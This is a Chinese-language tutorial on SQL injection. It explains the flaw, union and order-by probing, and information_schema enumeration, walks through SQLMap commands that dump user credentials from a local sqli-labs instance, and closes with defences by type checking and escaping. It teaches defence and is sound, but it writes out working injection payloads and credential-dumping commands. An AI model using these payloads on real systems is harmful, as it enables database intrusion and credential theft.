SQL注入的基础
介绍SQL注入
SQL注入就是利用开发人员动态使用SQL语句产生的漏洞进行数据库攻击。以PHP语句为例:
$query="SELECT * FROM users WHERE id=$_GET ['id'] ";
SQL注入就是指web应用程序对用户输入数据的合理性没有明确判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入按照不同的分类方法可以分为很多种,如报错注入、盲注、Union注入等。
SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件。
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1' 时,数据库执行的代码如下所示。
select * from users where id=1'
这不符合数据库语法,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中的id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与ID=1不同的结果。由此可以初步判断ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。
在实际环境中,范式满足以上两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数界不可信”的原则进行开发。
与MySQL注入相关的知识点
1.获取元数据
在MySQL5.0版本之后,MySQL默认在数据库中存放一张个'information_schema"的数据库,在该库中,读着需要记住三个表名,分别是SCHEMATA、TABELS和COLUMNS。
SCHEMATA表存放该用户创建的所有数据库的库名,如图所示,需要记住库名字段为SCHEMA_NAME。
查询用户数据库名称
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
语句的含义是从INFORMATION_SCHEMA.SCHEMATA中查询出第一个数据库的名称。
TABLES表存储该用户创建的所有数据库的库名和表明,如图所示,我们需要记住该表中记录数据库名和表名的字段分别为TABLE_SCHEMA和TABLE_NAME。(在我这个版本中没找到)
查询当前数据库表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1
从INFORMATION_SCHEMA.TABLES表中查询当前数据库表,并显示第一条数据。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,如图所示。要记住该表中记录数据库库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NMAE。
2.MySQL查询语句
在不知道任何条件时,语句如下所示。
SELECT 要查询的字段名 FROM 库名.表名
在知道一条已知条件时,语句如下所示。
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名='已知条件的值'
在知道两条已知条件时,语句如下所示。
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'
2.limit的用法
limit的使用格式为limit m, n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0, 1表示从第1条记录开始,取1条记录。
3.需要记住的几个函数
- database() :当前网站使用的数据库。
- version() :当前MySQL的版本。
- user() :当前MySQL的用户。
4.注释符
在MySQL中,常见注释符的表达方式:#或--空格或/* */。
5.内联注释
内联注释的形式:/*!code*/。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,例如:
index.php?id=-15/*! UNION*//*! SELECT*/1, 2, 3
Order by子句
order by为select查询的列排序。攻击者通常会注入order by来判断此表的列数。
1.select id, username, password from users where id =1 ——SQL正常执行
2.select id, username, password from users where id = 1 Order by 1 ——按照第一列排序,SQL执行正常
3.select id, username, password from users where id = 1 Order by 2 ——按照第二列排序,SQL抛出异常如下。
由此可以判断出该表有几列。
在得知列数后,可以配合UNION关键字进行下一步的攻击。
union查询
Union查询用于把来自许多select语句的结果组合到一个结果集合中,并每列的数据类型必须相同。注意:
- 所有查询中的列数必须相同
- 数据类型必须兼容。
例一:联合查询探测字段数
select id, username, password from users where id = 1 union select null
系统发出异常,递归查询,直到无错误产生,可得知users表查询的字段数:
union select null, null
union select null, null, null
也有人喜欢用 union select 1,2,3语句,不过容易出现类型不兼容的异常。
例二:联合查询敏感信息(这个是SQLserver的)
例一介绍了如何获得字段数,接下来介绍如何使用union查询敏感信息。
如果得知列数为4,可以使用以下语句继续注入:
id=5 union select 'x', null, null, null from sysobject where xtype='U'
如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句执行正常为止。
语句执行正常,代表数据类型兼容,可以将x换为SQL语句,查询敏感信息。
MySQL函数利用
显错式注入
宽字节注入
长字符截断
延时注入
注入工具
SQLMap
- 支持MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite等数据库
- 注入类型包括盲注、Union注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术;
- 支持枚举用户、密码哈希、权限、角色、数据库、表和列;
- 支持执行任意命令
- 自动识别密码加密方式,并可以使用字典解密
- 支持数据导出功能。
以sqli-lab为例,已知注入点http://localhost/sqli-labs/Less-2/?id=1,使用SQLMap对其提取管理员数据,具体步骤如下。
第一步:判断是否是注入点。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1"
使用-u参数指定URL,如果URL存在注入点,将会显示出Web容器、数据库版本信息,结果如下:
web application technology: Apache 2.4.46, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
第二步:获取数据库。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --dbs
第三步:查看当前应用程序所用数据库。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --current-db
第四步:列出指定数据库的所有表。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --table -D "bbs"
第五步:读取指定表中的字段名称。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --columns -T "User" -D “bbs"
第六步:读取指定字段内容。
python sqlmap.py -u "http://localhost/sqli-labs/Less-2/?id=1" --dump -C "UserName,password,email" -T "[User]" -D "bbs"
--dump参数意为转存数据,-C参数指定字段名称,-T指定表名(User属于数据库关键词,所以建议加[]),-D指定数据库名称。
防止SQL注入
SQL注入问题最终归于用户可以控制输入,SQL注入、XSS、文件包含、命令执行都可归于此。在使用程序语言对用户输入过滤时,首先要考虑的是用户的输入是否合法。但是这一任务太难,程序根本无法识别。
严格的数据类型
Java、c#等强类型语言几乎可以完全忽略数字型注入。例如,请求id为1的新闻,其url: www.abc.com/news.jsp?id=1,在程序代码中可能为:
int id = Integer.parseInt(request.getParameter("id"));
//接受id参数,并转化为int类型
News news = newsDao.findNewById(id); //查询新闻列表
攻击者想要在此代码中注入是不可能的。数据类型处理正确后,足以抵挡数字型注入。
像PHP、ASP,并没有强制要求处理数据类型,由语言自行推导。假设ID=1,则推导数据类型为Integer,ID=str,则推导ID为string,这一特点在弱类型语言中是相当不安全的。如:
$id = $_GET['id'];
$sql = "select * from news where id = $id; ";
$news = exec($sql);
攻击者可能把id参数变为 1 and 1=2 union select username, password from users;--,这里并没有对$id变量转换数据类型,PHP自动把变量$id推导为string类型,带入数据库查询,造成SQL注入漏洞。
防御数字型注入相对是比较简单的,只需要在程序中严格判断数据类型即可,如使用is_numeric()、ctype_digit()等函数判断数据类型,即可解决数字型注入。
特殊字符转义
字符型无法通过类型验证来防止注入,因为都是string类型。所以要对特殊字符进行转义,因为在数据库查询字符串时,任何字符串都必须加上单引号。既然知道攻击者在字符型注入中必然会出现单引号等特殊字符,那么将这些特殊字符转义即可防御字符型SQL注入。例如:用户搜索数据:
http://www.abc.com/news?tag=电影
SQL注入语句如下:
select title, content from news where tag='%电影' and 1 = 2 union slect username, password from users -- %'
防止SQL注入应该在程序中判断字符串是否存在敏感字符,如果存在,则根据相应的数据库进行转义。如MySQL用“\”转义,如果以上代码使用数据库为MySQL,那么转义后的SQL语句如下:
select title, content from news where tag='%电影\' and 1 = 2 union slect username, password from users -- %'